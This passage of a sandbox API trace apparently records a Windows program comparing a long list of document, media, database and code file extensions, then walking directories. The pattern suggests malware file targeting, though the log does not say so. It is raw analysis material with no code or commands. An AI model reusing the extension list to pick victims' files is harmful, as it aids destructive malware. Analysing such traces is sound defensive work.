(lpString1=".csv", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".cub") returned 4 [0141.273] lstrcmpiW (lpString1=".cub", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".dae") returned 4 [0141.273] lstrcmpiW (lpString1=".dae", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".dat") returned 4 [0141.273] lstrcmpiW (lpString1=".dat", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".db") returned 3 [0141.273] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0141.273] lstrlenW (lpString=".dbf") returned 4 [0141.273] lstrcmpiW (lpString1=".dbf", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".dbx") returned 4 [0141.273] lstrcmpiW (lpString1=".dbx", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".dc3") returned 4 [0141.273] lstrcmpiW (lpString1=".dc3", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".dcm") returned 4 [0141.273] lstrcmpiW (lpString1=".dcm", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".dcr") returned 4 [0141.273] lstrcmpiW (lpString1=".dcr", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".der") returned 4 [0141.273] lstrcmpiW (lpString1=".der", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".dib") returned 4 [0141.273] lstrcmpiW (lpString1=".dib", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".dic") returned 4 [0141.274] lstrcmpiW (lpString1=".dic", lpString2="1xml") returned -1 [0141.274] lstrlenW (lpString=".dif") returned 4 [0141.274] lstrcmpiW (lpString1=".dif", lpString2="1xml") returned -1 [0141.274] lstrlenW (lpString=".divx") returned 5 [0141.274] lstrcmpiW (lpString1=".divx", lpString2="s1xml") returned -1 [0141.274] lstrlenW (lpString=".djvu") returned 5 [0141.274] lstrcmpiW (lpString1=".djvu", lpString2="s1xml") returned -1 [0141.274] lstrlenW (lpString=".dng") returned 4 [0141.274] lstrcmpiW (lpString1=".dng", lpString2="1xml") returned -1 [0141.274] lstrlenW (lpString=".doc") returned 4 [0141.274] lstrcmpiW (lpString1=".doc", lpString2="1xml") returned -1 [0141.274] lstrlenW (lpString=".docm") returned 5 [0141.274] lstrcmpiW (lpString1=".docm", lpString2="s1xml") returned -1 [0141.274] lstrlenW (lpString=".docx") returned 5 [0141.274] lstrcmpiW (lpString1=".docx", lpString2="s1xml") returned -1 [0141.274] lstrlenW (lpString=".dot") returned 4 [0141.274] lstrcmpiW (lpString1=".dot", lpString2="1xml") returned -1 [0141.274] lstrlenW (lpString=".dotm") returned 5 [0141.274] lstrcmpiW (lpString1=".dotm", lpString2="s1xml") returned -1 [0141.274] lstrlenW (lpString=".dotx") returned 5 [0141.274] lstrcmpiW (lpString1=".dotx", lpString2="s1xml") returned -1 [0141.274] lstrlenW (lpString=".dpx") returned 4 [0141.274] lstrcmpiW (lpString1=".dpx", lpString2="1xml") returned -1 [0141.274] lstrlenW (lpString=".dqy") returned 4 [0141.274] lstrcmpiW (lpString1=".dqy", lpString2="1xml") returned -1 [0141.274] lstrlenW (lpString=".dsn") returned 4 [0141.274] lstrcmpiW (lpString1=".dsn", lpString2="1xml") returned -1 [0141.274] lstrlenW (lpString=".dt") returned 3 [0141.274] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0141.274] lstrlenW (lpString=".dtd") returned 4 [0141.274] lstrcmpiW (lpString1=".dtd", lpString2="1xml") returned -1 [0141.274] lstrlenW (lpString=".dwg") returned 4 [0141.275] lstrcmpiW (lpString1=".dwg", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".dwt") returned 4 [0141.275] lstrcmpiW (lpString1=".dwt", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".dx") returned 3 [0141.275] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0141.275] lstrlenW (lpString=".dxf") returned 4 [0141.275] lstrcmpiW (lpString1=".dxf", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".edml") returned 5 [0141.275] lstrcmpiW (lpString1=".edml", lpString2="s1xml") returned -1 [0141.275] lstrlenW (lpString=".efd") returned 4 [0141.275] lstrcmpiW (lpString1=".efd", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".elf") returned 4 [0141.275] lstrcmpiW (lpString1=".elf", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".emf") returned 4 [0141.275] lstrcmpiW (lpString1=".emf", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".emz") returned 4 [0141.275] lstrcmpiW (lpString1=".emz", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".epf") returned 4 [0141.275] lstrcmpiW (lpString1=".epf", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".eps") returned 4 [0141.275] lstrcmpiW (lpString1=".eps", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".epsf") returned 5 [0141.275] lstrcmpiW (lpString1=".epsf", lpString2="s1xml") returned -1 [0141.275] lstrlenW (lpString=".epsp") returned 5 [0141.275] lstrcmpiW (lpString1=".epsp", lpString2="s1xml") returned -1 [0141.275] lstrlenW (lpString=".erf") returned 4 [0141.275] lstrcmpiW (lpString1=".erf", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".exr") returned 4 [0141.275] lstrcmpiW (lpString1=".exr", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".f4v") returned 4 [0141.275] lstrcmpiW (lpString1=".f4v", lpString2="1xml") returned -1 [0141.275] lstrlenW (lpString=".fido") returned 5 [0141.276] lstrcmpiW (lpString1=".fido", lpString2="s1xml") returned -1 [0141.276] lstrlenW (lpString=".flm") returned 4 [0141.276] lstrcmpiW (lpString1=".flm", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".flv") returned 4 [0141.276] lstrcmpiW (lpString1=".flv", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".frm") returned 4 [0141.276] lstrcmpiW (lpString1=".frm", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".fxg") returned 4 [0141.276] lstrcmpiW (lpString1=".fxg", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".geo") returned 4 [0141.276] lstrcmpiW (lpString1=".geo", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".gif") returned 4 [0141.276] lstrcmpiW (lpString1=".gif", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".grs") returned 4 [0141.276] lstrcmpiW (lpString1=".grs", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".gz") returned 3 [0141.276] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0141.276] lstrlenW (lpString=".h") returned 2 [0141.276] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0141.276] lstrlenW (lpString=".hdr") returned 4 [0141.276] lstrcmpiW (lpString1=".hdr", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".hpp") returned 4 [0141.276] lstrcmpiW (lpString1=".hpp", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".hta") returned 4 [0141.276] lstrcmpiW (lpString1=".hta", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".htc") returned 4 [0141.276] lstrcmpiW (lpString1=".htc", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".htm") returned 4 [0141.276] lstrcmpiW (lpString1=".htm", lpString2="1xml") returned -1 [0141.276] lstrlenW (lpString=".html") returned 5 [0141.276] lstrcmpiW (lpString1=".html", lpString2="s1xml") returned -1 [0141.276] lstrlenW (lpString=".icb") returned 4 [0141.277] lstrcmpiW (lpString1=".icb", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".ics") returned 4 [0141.277] lstrcmpiW (lpString1=".ics", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".iff") returned 4 [0141.277] lstrcmpiW (lpString1=".iff", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".inc") returned 4 [0141.277] lstrcmpiW (lpString1=".inc", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".indd") returned 5 [0141.277] lstrcmpiW (lpString1=".indd", lpString2="s1xml") returned -1 [0141.277] lstrlenW (lpString=".ini") returned 4 [0141.277] lstrcmpiW (lpString1=".ini", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".iqy") returned 4 [0141.277] lstrcmpiW (lpString1=".iqy", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".j2c") returned 4 [0141.277] lstrcmpiW (lpString1=".j2c", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".j2k") returned 4 [0141.277] lstrcmpiW (lpString1=".j2k", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".java") returned 5 [0141.277] lstrcmpiW (lpString1=".java", lpString2="s1xml") returned -1 [0141.277] lstrlenW (lpString=".jp2") returned 4 [0141.277] lstrcmpiW (lpString1=".jp2", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".jpc") returned 4 [0141.277] lstrcmpiW (lpString1=".jpc", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".jpe") returned 4 [0141.277] lstrcmpiW (lpString1=".jpe", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".jpeg") returned 5 [0141.277] lstrcmpiW (lpString1=".jpeg", lpString2="s1xml") returned -1 [0141.277] lstrlenW (lpString=".jpf") returned 4 [0141.277] lstrcmpiW (lpString1=".jpf", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".jpg") returned 4 [0141.277] lstrcmpiW (lpString1=".jpg", lpString2="1xml") returned -1 [0141.277] lstrlenW (lpString=".jpx") returned 4 [0141.278] lstrcmpiW (lpString1=".jpx", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".js") returned 3 [0141.278] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0141.278] lstrlenW (lpString=".jsf") returned 4 [0141.278] lstrcmpiW (lpString1=".jsf", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".json") returned 5 [0141.278] lstrcmpiW (lpString1=".json", lpString2="s1xml") returned -1 [0141.278] lstrlenW (lpString=".jsp") returned 4 [0141.278] lstrcmpiW (lpString1=".jsp", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".kdc") returned 4 [0141.278] lstrcmpiW (lpString1=".kdc", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".kmz") returned 4 [0141.278] lstrcmpiW (lpString1=".kmz", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".kwm") returned 4 [0141.278] lstrcmpiW (lpString1=".kwm", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".lasso") returned 6 [0141.278] lstrcmpiW (lpString1=".lasso", lpString2="ps1xml") returned -1 [0141.278] lstrlenW (lpString=".lbi") returned 4 [0141.278] lstrcmpiW (lpString1=".lbi", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".lgf") returned 4 [0141.278] lstrcmpiW (lpString1=".lgf", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".lgp") returned 4 [0141.278] lstrcmpiW (lpString1=".lgp", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".log") returned 4 [0141.278] lstrcmpiW (lpString1=".log", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".m1v") returned 4 [0141.278] lstrcmpiW (lpString1=".m1v", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".m4a") returned 4 [0141.278] lstrcmpiW (lpString1=".m4a", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".m4v") returned 4 [0141.278] lstrcmpiW (lpString1=".m4v", lpString2="1xml") returned -1 [0141.278] lstrlenW (lpString=".max") returned 4 [0141.279] lstrcmpiW (lpString1=".max", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".md") returned 3 [0141.279] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0141.279] lstrlenW (lpString=".mda") returned 4 [0141.279] lstrcmpiW (lpString1=".mda", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mdb") returned 4 [0141.279] lstrcmpiW (lpString1=".mdb", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mde") returned 4 [0141.279] lstrcmpiW (lpString1=".mde", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mdf") returned 4 [0141.279] lstrcmpiW (lpString1=".mdf", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mdw") returned 4 [0141.279] lstrcmpiW (lpString1=".mdw", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mef") returned 4 [0141.279] lstrcmpiW (lpString1=".mef", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mft") returned 4 [0141.279] lstrcmpiW (lpString1=".mft", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mfw") returned 4 [0141.279] lstrcmpiW (lpString1=".mfw", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mht") returned 4 [0141.279] lstrcmpiW (lpString1=".mht", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mhtml") returned 6 [0141.279] lstrcmpiW (lpString1=".mhtml", lpString2="ps1xml") returned -1 [0141.279] lstrlenW (lpString=".mka") returned 4 [0141.279] lstrcmpiW (lpString1=".mka", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mkidx") returned 6 [0141.279] lstrcmpiW (lpString1=".mkidx", lpString2="ps1xml") returned -1 [0141.279] lstrlenW (lpString=".mkv") returned 4 [0141.279] lstrcmpiW (lpString1=".mkv", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mos") returned 4 [0141.279] lstrcmpiW (lpString1=".mos", lpString2="1xml") returned -1 [0141.279] lstrlenW (lpString=".mov") returned 4 [0141.280] lstrcmpiW (lpString1=".mov", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".mp3") returned 4 [0141.280] lstrcmpiW (lpString1=".mp3", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".mp4") returned 4 [0141.280] lstrcmpiW (lpString1=".mp4", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".mpeg") returned 5 [0141.280] lstrcmpiW (lpString1=".mpeg", lpString2="s1xml") returned -1 [0141.280] lstrlenW (lpString=".mpg") returned 4 [0141.280] lstrcmpiW (lpString1=".mpg", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".mpv") returned 4 [0141.280] lstrcmpiW (lpString1=".mpv", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".mrw") returned 4 [0141.280] lstrcmpiW (lpString1=".mrw", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".msg") returned 4 [0141.280] lstrcmpiW (lpString1=".msg", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".mxl") returned 4 [0141.280] lstrcmpiW (lpString1=".mxl", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".myd") returned 4 [0141.280] lstrcmpiW (lpString1=".myd", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".myi") returned 4 [0141.280] lstrcmpiW (lpString1=".myi", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".nef") returned 4 [0141.280] lstrcmpiW (lpString1=".nef", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".nrw") returned 4 [0141.280] lstrcmpiW (lpString1=".nrw", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".obj") returned 4 [0141.280] lstrcmpiW (lpString1=".obj", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".odb") returned 4 [0141.280] lstrcmpiW (lpString1=".odb", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".odc") returned 4 [0141.280] lstrcmpiW (lpString1=".odc", lpString2="1xml") returned -1 [0141.280] lstrlenW (lpString=".odm") returned 4 [0141.281] lstrcmpiW (lpString1=".odm", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".odp") returned 4 [0141.281] lstrcmpiW (lpString1=".odp", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".ods") returned 4 [0141.281] lstrcmpiW (lpString1=".ods", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".oft") returned 4 [0141.281] lstrcmpiW (lpString1=".oft", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".one") returned 4 [0141.281] lstrcmpiW (lpString1=".one", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".onepkg") returned 7 [0141.281] lstrcmpiW (lpString1=".onepkg", lpString2=".ps1xml") returned -1 [0141.281] lstrlenW (lpString=".onetoc2") returned 8 [0141.281] lstrcmpiW (lpString1=".onetoc2", lpString2="s.ps1xml") returned -1 [0141.281] lstrlenW (lpString=".opt") returned 4 [0141.281] lstrcmpiW (lpString1=".opt", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".oqy") returned 4 [0141.281] lstrcmpiW (lpString1=".oqy", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".orf") returned 4 [0141.281] lstrcmpiW (lpString1=".orf", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".p12") returned 4 [0141.281] lstrcmpiW (lpString1=".p12", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".p7b") returned 4 [0141.281] lstrcmpiW (lpString1=".p7b", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".p7c") returned 4 [0141.281] lstrcmpiW (lpString1=".p7c", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".pam") returned 4 [0141.281] lstrcmpiW (lpString1=".pam", lpString2="1xml") returned -1 [0141.281] lstrlenW (lpString=".pbm") returned 4 [0141.282] lstrcmpiW (lpString1=".pbm", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".pct") returned 4 [0141.282] lstrcmpiW (lpString1=".pct", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".pcx") returned 4 [0141.282] lstrcmpiW (lpString1=".pcx", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".pdd") returned 4 [0141.282] lstrcmpiW (lpString1=".pdd", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".pdf") returned 4 [0141.282] lstrcmpiW (lpString1=".pdf", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".pdp") returned 4 [0141.282] lstrcmpiW (lpString1=".pdp", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".pef") returned 4 [0141.282] lstrcmpiW (lpString1=".pef", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".pem") returned 4 [0141.282] lstrcmpiW (lpString1=".pem", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".pff") returned 4 [0141.282] lstrcmpiW (lpString1=".pff", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".pfm") returned 4 [0141.282] lstrcmpiW (lpString1=".pfm", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".pfx") returned 4 [0141.282] lstrcmpiW (lpString1=".pfx", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".pgm") returned 4 [0141.282] lstrcmpiW (lpString1=".pgm", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".php") returned 4 [0141.282] lstrcmpiW (lpString1=".php", lpString2="1xml") returned -1 [0141.282] lstrlenW (lpString=".php3") returned 5 [0141.282] lstrcmpiW (lpString1=".php3", lpString2="s1xml") returned -1 [0141.282] lstrlenW (lpString=".php4") returned 5 [0141.282] lstrcmpiW (lpString1=".php4", lpString2="s1xml") returned -1 [0141.282] lstrlenW (lpString=".php5") returned 5 [0141.282] lstrcmpiW (lpString1=".php5", lpString2="s1xml") returned -1 [0141.282] lstrlenW (lpString=".phtml") returned 6 [0141.283] lstrcmpiW (lpString1=".phtml", lpString2="ps1xml") returned -1 [0141.283] lstrlenW (lpString=".pict") returned 5 [0141.283] lstrcmpiW (lpString1=".pict", lpString2="s1xml") returned -1 [0141.283] lstrlenW (lpString=".pl") returned 3 [0141.283] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0141.283] lstrlenW (lpString=".pls") returned 4 [0141.283] lstrcmpiW (lpString1=".pls", lpString2="1xml") returned -1 [0141.283] lstrlenW (lpString=".pm") returned 3 [0141.283] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0141.283] lstrlenW (lpString=".png") returned 4 [0141.283] lstrcmpiW (lpString1=".png", lpString2="1xml") returned -1 [0141.283] lstrlenW (lpString=".pnm") returned 4 [0141.283] lstrcmpiW (lpString1=".pnm", lpString2="1xml") returned -1 [0141.283] lstrlenW (lpString=".pot") returned 4 [0141.283] lstrcmpiW (lpString1=".pot", lpString2="1xml") returned -1 [0141.283] lstrlenW (lpString=".potm") returned 5 [0141.283] lstrcmpiW (lpString1=".potm", lpString2="s1xml") returned -1 [0141.283] lstrlenW (lpString=".potx") returned 5 [0141.283] lstrcmpiW (lpString1=".potx", lpString2="s1xml") returned -1 [0141.283] lstrlenW (lpString=".ppa") returned 4 [0141.283] lstrcmpiW (lpString1=".ppa", lpString2="1xml") returned -1 [0141.283] lstrlenW (lpString=".ppam") returned 5 [0141.283] lstrcmpiW (lpString1=".ppam", lpString2="s1xml") returned -1 [0141.283] lstrlenW (lpString=".ppm") returned 4 [0141.283] lstrcmpiW (lpString1=".ppm", lpString2="1xml") returned -1 [0141.283] lstrlenW (lpString=".pps") returned 4 [0141.283] lstrcmpiW (lpString1=".pps", lpString2="1xml") returned -1 [0141.283] lstrlenW (lpString=".ppsm") returned 5 [0141.284] lstrcmpiW (lpString1=".ppsm", lpString2="s1xml") returned -1 [0141.284] lstrlenW (lpString=".ppt") returned 4 [0141.284] lstrcmpiW (lpString1=".ppt", lpString2="1xml") returned -1 [0141.284] lstrlenW (lpString=".pptm") returned 5 [0141.284] lstrcmpiW (lpString1=".pptm", lpString2="s1xml") returned -1 [0141.284] lstrlenW (lpString=".pptx") returned 5 [0141.284] lstrcmpiW (lpString1=".pptx", lpString2="s1xml") returned -1 [0141.284] lstrlenW (lpString=".prn") returned 4 [0141.284] lstrcmpiW (lpString1=".prn", lpString2="1xml") returned -1 [0141.284] lstrlenW (lpString=".ps") returned 3 [0141.284] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0141.284] lstrlenW (lpString=".psb") returned 4 [0141.284] lstrcmpiW (lpString1=".psb", lpString2="1xml") returned -1 [0141.284] lstrlenW (lpString=".psd") returned 4 [0141.284] lstrcmpiW (lpString1=".psd", lpString2="1xml") returned -1 [0141.284] lstrlenW (lpString=".pst") returned 4 [0141.284] lstrcmpiW (lpString1=".pst", lpString2="1xml") returned -1 [0141.284] lstrlenW (lpString=".ptx") returned 4 [0141.284] lstrcmpiW (lpString1=".ptx", lpString2="1xml") returned -1 [0141.284] lstrlenW (lpString=".pub") returned 4 [0141.284] lstrcmpiW (lpString1=".pub", lpString2="1xml") returned -1 [0141.284] lstrlenW (lpString=".pwm") returned 4 [0141.284] lstrcmpiW (lpString1=".pwm", lpString2="1xml") returned -1 [0141.284] lstrlenW (lpString=".pxr") returned 4 [0141.284] lstrcmpiW (lpString1=".pxr", lpString2="1xml") returned -1 [0141.284] lstrlenW (lpString=".py") returned 3 [0141.284] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0141.284] lstrlenW (lpString=".qt") returned 3 [0141.284] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0141.284] lstrlenW (lpString=".r3d") returned 4 [0141.284] lstrcmpiW (lpString1=".r3d", lpString2="1xml") returned -1 [0141.284] lstrlenW (lpString=".raf") returned 4 [0141.284] lstrcmpiW (lpString1=".raf", lpString2="1xml") returned -1 [0141.285] lstrlenW (lpString=".rar") returned 4 [0141.285] lstrcmpiW (lpString1=".rar", lpString2="1xml") returned -1 [0141.285] lstrlenW (lpString=".raw") returned 4 [0141.285] lstrcmpiW (lpString1=".raw", lpString2="1xml") returned -1 [0141.286] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.286] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0141.286] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0141.286] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.286] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0141.286] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0141.286] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0141.288] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0141.292] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.292] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.293] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.293] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0141.293] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0141.293] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0141.293] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0141.297] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0141.297] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.297] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.297] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.310] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0141.310] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.310] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0141.310] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0141.310] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0141.310] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0141.310] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0141.310] FindClose (in: hFindFile=0x3e5bad8 | out: hFindFile=0x3e5bad8) returned 1 [0141.310] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0141.312] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0141.312] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0141.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.312] FindNextFileW (in: hFindFile=0x3e5bb58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0 [0141.312] FindClose (in: hFindFile=0x3e5bb58 | out: hFindFile=0x3e5bb58) returned 1 [0141.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43e0728 | out: hHeap=0x510000) returned 1 [0141.313] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0141.314] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43e0728 | out: hHeap=0x510000) returned 1 [0141.314] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0141.409] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0141.409] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0141.409] FindClose (in: hFindFile=0x3e5bdd8 | out: hFindFile=0x3e5bdd8) returned 1 [0141.409] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0141.410] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.483] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0141.483] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.484] HeapFree (in: hHeap=0x510000, dwFlags=0x0, 